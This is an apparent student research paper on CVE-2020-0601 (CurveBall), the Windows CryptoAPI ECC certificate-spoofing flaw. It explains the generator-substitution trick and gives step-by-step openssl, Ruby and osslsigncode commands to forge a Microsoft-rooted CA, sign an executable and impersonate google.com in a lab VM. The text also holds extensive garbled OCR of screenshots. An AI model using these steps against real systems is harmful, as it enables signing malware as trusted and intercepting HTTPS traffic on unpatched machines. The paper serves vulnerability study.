# **RESEARCH PAPER**

## CVE-2020-0601

CurveBall Windows CryptoAPI Spoofing Windows ECC Certificate Incorrect Validation Vulnerability

Submitted By -

Payal Mittal

### **INTRODUCTION**

CVE-2020-0601, referred to as CurveBall is a web browser security vulnerability in which the signature of certificates using elliptic curve cryptography (ECC) is not correctly verified. It was discovered and released by the NSA in 2020. The exploit targets Microsoft CryptoAPI, the program library that handles cryptographic functions for the Windows 10 operating system. The vulnerability affects Internet Explorer, Microsoft Edge and Google Chrome.

CVSS 3.x Severity and Metrics :

NIST : NVD Base Score : 8.1 High Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

### **DESCRIPTION**

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source.

ECC relies on different parameters. These parameters are standardized for many curves. However, system didn't check all these parameters. The parameter 'G' (the generator) was not checked, and the attacker can therefore supply their own generator, such that when system tries to validate the certificate against a trusted CA, it'll only look for matching public keys, and then use the generator of the certificate.

In order to yield the same public key to spoof the certificate, private key is set to 1

Public Key = Private Key \* Generator

Public Key = Generator

Trusted public key is used as the generator of spoofing certificate; Generator is not validated by system

<sup>`</sup>MicrosoftECCProductRootCertificateAuthority.cer` is by default a trusted root certificate authority (CA) using ECC on Windows 10. Anything signed with this certificate will therefore automatically be trusted.

#### USAGE

- Create a certificate with the same public key and parameters of a trusted CA. This will be used as spoofing CA.
- Set the generator (G) to the public key (Q), and have a private key (d) set to '1', since Q = dG'.
- Next, create a certificate signing request with the extensions to use, e.g. code signing or server authentication.
- Sign this certificate request with your spoofed CA and CA key, and add the usage extensions.
- Bundle the signed certificate request (now a regular certificate) with the spoofed CA, and a signed and trusted certificate is created.
- When Windows checks whether the certificate is trusted, it'll see that it has been signed by our spoofed CA. It then looks at the spoofed CA's public key to check against trusted CA's.
- Open newly signed certificate in Windows, it'll not recognize it as trusted, since it hasn't been tied to anything, thus it will not use the spoofed CA. The spoofed certificate must be installed in system to implement vulnerability.

### IMPLEMENTATION

- Files location https://packetstormsecurity.com/files/author/14686/
- Extract the public key from the trusted CA

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

• Generate a new x509 certificate based on this key. This will be spoofed CA

openssl req -new -x509 -key spoofed\_ca.key -out spoofed\_ca.crt



• Generate a new key. It will be used to create a code signing certificate, which we will sign with our own CA

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

• Next, create a new certificate signing request (CSR)

openssl req -new -key cert.key -out cert.csr -config openssl\_tls.conf -reqexts v3\_tls

• Sign new CSR with spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043.

openssl x509 -req -in cert.csr -CA spoofed\_ca.crt -CAkey spoofed\_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl\_tls.conf -extensions v3\_tls



• Pack the certificate, its key and the spoofed CA into a PKCS12 file for signing executables.

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed\_ca.crt -name "Code Signing" -out cert.p12



## • Sign your executable with PKCS12 file.

osslsigncode sign -pkcs12 cert.p12 -n "Signed" -in 7z1900-x64.exe -out 7z1900-x64\_signed.exe

🛂 Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) – 🛛										
Player 👻	■~母 臼 辺			≪ 📑						
Activities	E Terminal ▼ Aug 23 21:30 ●		<i>.</i> ?. •	》 🕛 👻						
$(\mathfrak{b})$	⟨ ⟩     Desktop     CVE_2020_0601_A     CVE-2020-0601-master     Q     III     ▼		-	a x						
	p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q	Ξ		• 😣						
•	You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank.									
	Country Name (2 letter code) [AU]:IN State or Province Name (full name) [Some-State]:DEL Locality Name (eg, city) []:DEL Organization Name (eg, company) [Internet Widgits Pty Ltd]:Test Organizational Unit Name (eg, section) []:Test1									
	Common Name (e.g. server FQDN or YOUR name) []:test.com Email Address []:abc@gmail.com p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ openssl ecparam -nam	ne secp	384r1	-genke						
A	y -noout -out cert.key p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ openssl req -new -ke rt.csr -config openssl cs.conf -reqexts v3 tls	ey cert	.key ·	out ce						
?	Error Loading request extension section v3_tls <u>p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master</u> \$ openssl req -new -ke rt.csr -config openssl tls.conf -regexts v3 tls	ey cert	.key ·	out ce						
• >_	<pre>p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ openssl x509 -req -i ofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 - s.conf -extensions v3_tls Signature ok</pre>									
	subject=C = DK, ST = Denmark, L = Copenhagen, O = ollypwn, CN = www.google.co Getting CA Private Key	om								
	<pre>p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ openssl pkcs12 -expo nkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12 Enter Export Password:</pre>	ort -in	cert.	.crt -i						
	Verifying - Enter Export Password:									
	p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ ls 7z1900-x64.exe code_signing README.md cert.crt main.rb spoofed_ca.c	crt								
	cert.csrMicrosoftECCProductRootCertificateAuthority.cerspoofed_ca.kcert.keyopenssl_cs.confspoofed_ca.scert.p12openssl_tls.conftls	key								
	<pre>p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ osslsigncode sign -p "Signed" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe</pre>	okcs12	cert.p	o12 -n						
	Succeeded p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$									

Add IP address of Ubuntu VM and URL - https://www.google.com



Files `cert.crt`, `cert.key`, and `spoofed\_ca.crt` are used to serve content. Add the spoofed\_ca.crt as a certificate chain in your server's HTTPS configuration. Configure "index.js" server file.



#### Server is started in Ubuntu VM



In Windows VM, open browser and navigate to https://www.google.com.

Error - "Your connection isn't private" is displayed





Check certificate information. It is changed to the details of the spoofed certificate.

😼 Ubunti	u 64-bit - VMware Workstation 16 Player (Non-commercial use only) – E	o x	× 📲 Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) – 🗆	×
Player 👻	Ⅱ	≪	■ Player -    - 母 □ 囚 ≪	3
Activitie	5 🕑 Terminal <del>▼</del> Aug 23 21:41 ● 👗	• U	U 🗸 🥘 hosts - Notepad —	0
6				
	p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q ≡	. (	) Privacy error X +	e
			O ▲ Not secure https://www.google.com	
	p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE × p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-naster\$ ls		General Details Certification Path	iyir i
•	721900-x64 signed.exe nati.rb spoofed ca.crt			
	cert.crt MicrosoftECCProductRootCertificateAuthority.cer spoofed_ca.key cert.csr node_modules spoofed_ca.srl		This certificate cannot be verified up to a trusted	
0	cert.key openssl_cs.conf tls cert.p12 openssl_tls.conf code_styning package-lock.json		This certification authority.	
	Coll_signed_signes		Your connection isn't private	
Â			Attackers might be trying to steal your information from v passwords, messages, or credit cards).	
			NET::ERR_CERT_AUTHORITY_INVALID Issued by: test.com	
			Valid from 8/23/2021 to 1/8/2049	
2			Advanced	
			Issuer Statement	
			# P Type here to search O 目 元 全 引 ② ③ ② ② → 30°C へ ③ 型 40 8/2	11 PN 3/202
				>
-	$\wp$ Type here to search O 片	٥	🕐 🦉 💆 🚾 🕜 🌩 31°C AQI 90 ^ 호 🕼 🖬 네) 🥢 ENG 10:11 🖵	

📆 Ubunt	u 64-bit - VMware Workstation 16 Player (Non-commercial use only) -	o ×	💱 Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) – 🗆	×
Player 👻	Ⅱ - 4 2 2	~	Player ▼ 📙 マ 母 🗒 泡 🔍 🔍	3
Activitie	s 🕒 Terminal ▼ Aug 23 21:41 ●	A 🐠 🕛 🗸	hosts - Notepad —	σ
		_ 0 🗙		
			Privacy error X +	e
	p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q ≡	- • 🛚	→ C 🔺 Not secure   https://www.google.com 🔞 😭 🕲 …	
	p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE × p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-		Gettificate ×	gn i
	p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ ls 7z1900-x64.exe index.js README.md		General Details Certification Path	
	7z1900-x64_signed.exe main.rb spoofed_ca.c cert.crt MicrosoftECCProductRootCertificateAuthority.cer spoofed_ca.k		Show: <al></al>	
0	cert.csr node_modules spoofed_ca.s cert.key openssl_cs.conf tls	rl	Field Value ^	
	cert.p12 openssl_tls.conf code_signing package·lock.json		Serial number 052e727431db12ad4138bcc1	
	<pre>p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ sudo node index.js</pre>		Your connection isn't private	
			Attackers might be trying to steal your information from your advance and the state of the state	
A			passwords, messages, or credit cards).	
			NET::ERR_CERT_AUTHORITY_INVALID	
?				
			Advanced	
			Edit Properties Copy to File	
· 🧭			OK	
			Mail 単 「ク Type here to search 〇 片 論 会 ② ② ② ~ 30℃ へ 登 駅 40 82	1 PN
				\$/202
	$\mathcal P$ Type here to search O 🗄 💽 📄 🖈 👯	$\bigcirc$	② 響 <u>鬌</u> 🚾 ③   ◆ 31℃ AQI 90 へ ✑ ፪ 🖬 © 40) <i>ແ</i> ENG 24-08-2021 🖵	

The CA Root certificate is not trusted because it is not in the Trusted Root Certification Authorities store

😼 Ubunt	u 64-bit - VMware Workstation 16 Player (Non-commercial use only) – 🗆 🛛 🛛	💱 Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) – 🗆 🗙
Player 🗸	- 母 □ 泡 ≪	▶ Player - 📙 - 母 🖸 泡 🔍 🔍 👘
Activitie	s 🗈 Terminal 🗝 🛛 Aug 23 21:41 🔹 🛃 🌒 🕛 🤸	🗃 hosts - Notepad — 🖸
		Privacy error X +
6	p@ubuntu: -/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q ≡ _ □ 0	→ C 🛕 Not secure   https://www.google.com 😚 🗲 🖻 🔮 …
	p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE × p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE ×	Gif Certificate × gn i
	p@ubuntu:-/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ ls 7z1900-x64.exe index.js README.md	General Details Certification Path
	7z1900-x64_signed.exe main.rb spoofed_ca.crt cert.crt MicrosoftECCProductRootCertificateAuthority.cer spoofed ca.key	Certification path
0	cert.csr node_modules spoofed_ca.srl cert.key openssl_cs.conf tls	T a www.google.com
	cert.pl2 openssl_tls.conf code_slgning package-lock.json	
	p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ sudo node index.js	Your connection isn't private
Â		Attackers might be trying to steal your information from v passwords, messages, or credit cards).
?		view Lefuticate
		Certificate status: This CA Root certificate is not trusted because it is not in the Trusted Root
• ~_		Advanced Certification Authorities store.
• 🖊		OK
		File Explorer
		P Type here to search O 首 言 ご ぶの (の) ない (ないの) (x
		< · · · · · · · · · · · · · · · · · · ·
	P Type here to search O ⊟	② 導 型 の 4011 ② 導 型 の 40 (ENG 24.09.2007) し
		🕐 👼 🐴 🛄 🦓 🐢 31°C AQ190 🕆 🙂 🚱 🖬 🕬 🧖 24-08-2021 🖓



### Export the certificate

😼 Ubunti	u 64-bit - VMware Workstation 1	16 Player (Non-commercial use	only)	-		× 🛐	Windows 10 x64 -	VMware Workstat	tion 16 Player (Non-commercial	use only)			- (	o x
Player 👻	- 4 🖸 🛛				~	PI	ayer 🔻 📕 👻	ゆう					$\ll$	
Activities	s 🕒 Terminal 🔻	A	ug 23 21:42 •		よ 🖤 🖑	- 🕮	hosts - Notepad							- 0
						× File								
						6	Privacy error	× +						e
	I.I.I.I.I.I.I.I.I.I.I.I.I.I.I.I.I.I.I.	p@ubuntu: ~/Desktop/CVE_2	020_0601_A/CVE-2020-06	501-master Q ≡			C 🔺 Not	secure https://v	www.google.com		10 E	¥ @ (		
	p@ubuntu: ~/Desktop/C	CVE_2020_0601_A/CVE ×		top/CVE_2020_0601_A/		•				Get Certificate			×	ign i
	p@ubuntu:~/Desktop/CV 7z1900-x64.exe	<pre>'E_2020_0601_A/CVE-2020- index.js</pre>	0601-master\$ ls	README.md			E Certificate Export	1417 I		× al Details Certification	Path		-	
	7z1900-x64_signed.exe cert.crt		otCertificateAuthor	spoofed_c	a.crt		Certificate Export	wizard		tification path				
0	cert.csr cert.key	node_modules openssl cs.conf		spoofed_c										
	cert.p12 code_signing	openssl_tls.conf package-lock.json					Welcome to	o the Certificate	Export Wizard					
		E_2020_0601_A/CVE-2020-	0601-master\$ sudo n	ode index.js			This wizard helps lists from a certific	you copy certificates, ce ate store to your disk.	ertificate trust lists and certificate revocation					
Â							and contains infor	mation used to protect d	tion authority, is a confirmation of your ident data or to establish secure network tem area where certificates are kept.	ity				
							To continue, dick	Next.				View Certificate	-	
										ficate status:				
										CA Root certificate is not ification Authorities store.	trusted because it is n	ot in the Trusted I	Root	
•													- 1	
• 🗹												0	к	
									Next	ancel			_	
						-								
														042.01
							P Type here	to search		🖡 🛋 <u>ə</u> 🙆 🧕	<u> </u>	30°C ∧ ĝ	臣 (*)	8/23/202
						<	_	_			_	_	-	>
-			o 🖽 💽		¥ 0	?	🧠 😽	M	(2) 40 31	°C AQI 90 \land 🖻 🖾	🖿 (1) 🌈 E	10:1 NG 24-08-	2 2021	$\Box$

😼 Ubuntu	i 64-bit - VMware Workstation 16 Player (Non-commercial use only) – 🛛	×	📲 Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) – 🗆	×
Player 👻	Ⅱ - 母 辺 辺	~ 3	Player ▼ 11 ▼ 母 □ 2	3
Activities	🗈 Terminal 🔻 🛛 Aug 23 21:43 • 📥 🖷	• U ▼	V 🕘 hosts - Notepad —	0
		-	Privacy error x +	6
	p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q ≡ _		× → C 🔺 Not secure   https://www.google.com 🏠 🖆 🔂 🚇	
	p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE > p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE >		Certificate X	ign i
	P@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ ls 7z1900-x64.exe index.js README.md		X al Details Certification Path	
	721900-x64_signed.exe main.rb spoofed_ca.crt cert.crt MicrosoftECCProductRootCertificateAuthority.cer spoofed_ca.key		Certificate Export Wizard tification path	
0	cert.csr node_nodules sported_ca.srl cert.key opensl_cs.conf tls		- 🖓 www.google.com	
	cert.pl2 openst_stonf code_signing package-lock.json		Completing the Certificate Export Wizard	
	p@ubuntu:~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master\$ sudo node index.js		You have successfully completed the Certificate Export wizard. Certificate Export Wizard X	
			You have specified the following settings:	
Â			File Name C:Users/P/Desktop/test.p The export was successful. Export Keys No	
			Include all certificates in the certification path Yes File Format Cryptographic Message Sy OK	
2			View Certificate	
			ficate status:	
. >_			CA Root certificate is not trusted because it is not in the Trusted Root ification Authorities store.	
• 🥒				
			OK	
			Finish Cancel	
			Task View	
			📲 🔎 Type here to search O 🗄 🧮 😭 🎝 🍈 📀 💽 🔧 30°C \land 🖗 🖫 40) 🤧	43 PN
				>
	🔎 Type here to search 🛛 🔿 🛱 😧 🚺		🕐 🚑 🚰 👔 🗢 31°C AQI 90 ^ 🖗 🖾 📼 dv) 🌾 ENG 24-08-2021 🖵	

Install the spoofed certificate in Trusted Root Certification Authorities

😼 Ubuntu	64-bit - VMware Workstation 16 Player (Non-commercial use only) – 🗆	×	📲 Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) – 🛛	з×
Player 👻	Ⅱ	F	Player - 📙 - 목 🖸 🛛 🔍	٦
Activities	□ Terminal ▼       Aug 23 21:44 ●       ▲ 40 .00         ( )       Desktop       CVE_2020_6601_A       CVE-2020-0601-master       Q       E       =       a         Im       p@ubuntu: -/Desktop/CVE_2020_0601_A/CVE-2020_0601_A/CVE-2020_0601_A/CVE-2020_0601_A/CVE-2020_0601_A/CVE       X       p@ubuntu: -/Desktop/CVE_2020_0601_A/CVE       X		ise certage - [Certificates - Current User(CLUSERS/DP/LEST/DP/Certificates]       -       -       ×         File Action View Help       ise       Image: Certificates - Current User       Image: Certificates - Current User       Image: Certificates - Current User         Certificates       Certificates       Image: Certificates       Image: Certificates       Image: Certificates         Certificates       Certificates       Image: Certificates       Image: Certificates       Image: Certificates	
	<pre>performance.provided and a set of the s</pre>		Certificate X Certificate Information Testificate Test	
			P Type here to search で い 日本 この 日本 この の 日本 この の の の の の の の の の の の の の の の の の の	9:44 PN (/23/202 >
	P Type here to search O 🗄 💽 📄 😒 💭	?	2) 🤕 💆 🖉 🕜 🔶 31°C AQI 90 ^ 😳 🚱 🖬 d+) 🎘 ENG 24-08-2021 [	7



😚 Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use	only)		- 0	×	Windows 10 x64 - VMware	Workstation 16 Player (N	on-commercial use only)		- 🗆 ×
Player 🕶 📕 👻 🔁 🔯			~	PI	ayer 🗸 📙 🗸 🛱 📋	22			« 📮
-	only					K     Source CAUSERS PLDESKTOP / TES     Source To     Source To     fill source To			
					Insta	all Certificate Issuer Statemer	e .		
						OK			
				<	P Type here to search	ch	0 🖽 🥁	Ĵ <> 30℃	へ (je) 県 (liv) 9:45 PN 8/23/202 ン
H D Type here to search	o Ħ	0	₩ 0	?	🤕 😽 🚾	(3)	🔷 32°C AQI 90 🔨	ලි 🛃 🖿 🕸 🦟 ENG	10:15 24-08-2021

Spoofed Certificate is in Trusted Root Certification Authorities



Open Browser - Internet Explorer and navigate to "https://www.google.com"



Spoofed CA is validated by web browser as Trusted Root CA and original <u>https://www.google.com</u> content is replaced with the incorrect information as mentioned in "index.js" file.



CVE-2020-0601 - Windows incorrect ECC certificate validation vulnerability is implemented.



### PREVENTION

Microsoft Windows 2020 updates had been released to patch CVE-2020-0601 vulnerability

## REFERENCES

- https://nvd.nist.gov/vuln/detail/CVE-2020-0601
- https://packetstormsecurity.com/files/author/14686/
- github.com-ollypwn-CVE-2020-0601\_-\_2020-01-17\_10-09-11
- CVE-2020-0601 aka Curveball YouTube